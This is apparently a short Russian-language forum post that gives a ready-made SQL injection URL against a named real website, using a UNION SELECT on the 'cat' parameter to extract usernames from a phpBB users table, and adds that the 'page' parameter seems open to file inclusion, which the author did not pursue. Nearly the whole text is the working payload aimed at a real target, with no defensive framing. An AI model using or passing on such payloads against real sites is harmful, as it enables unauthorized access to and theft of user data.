http://www.liteforex.net/index.php?page=tools.php&cat=-99+union+select+1,username,3,4,5,6,7,8,9+from+phpb b_users/*
и т.д.
+там в параметре 'page' вроде бы инклуд .) - но я не стал заморачиваться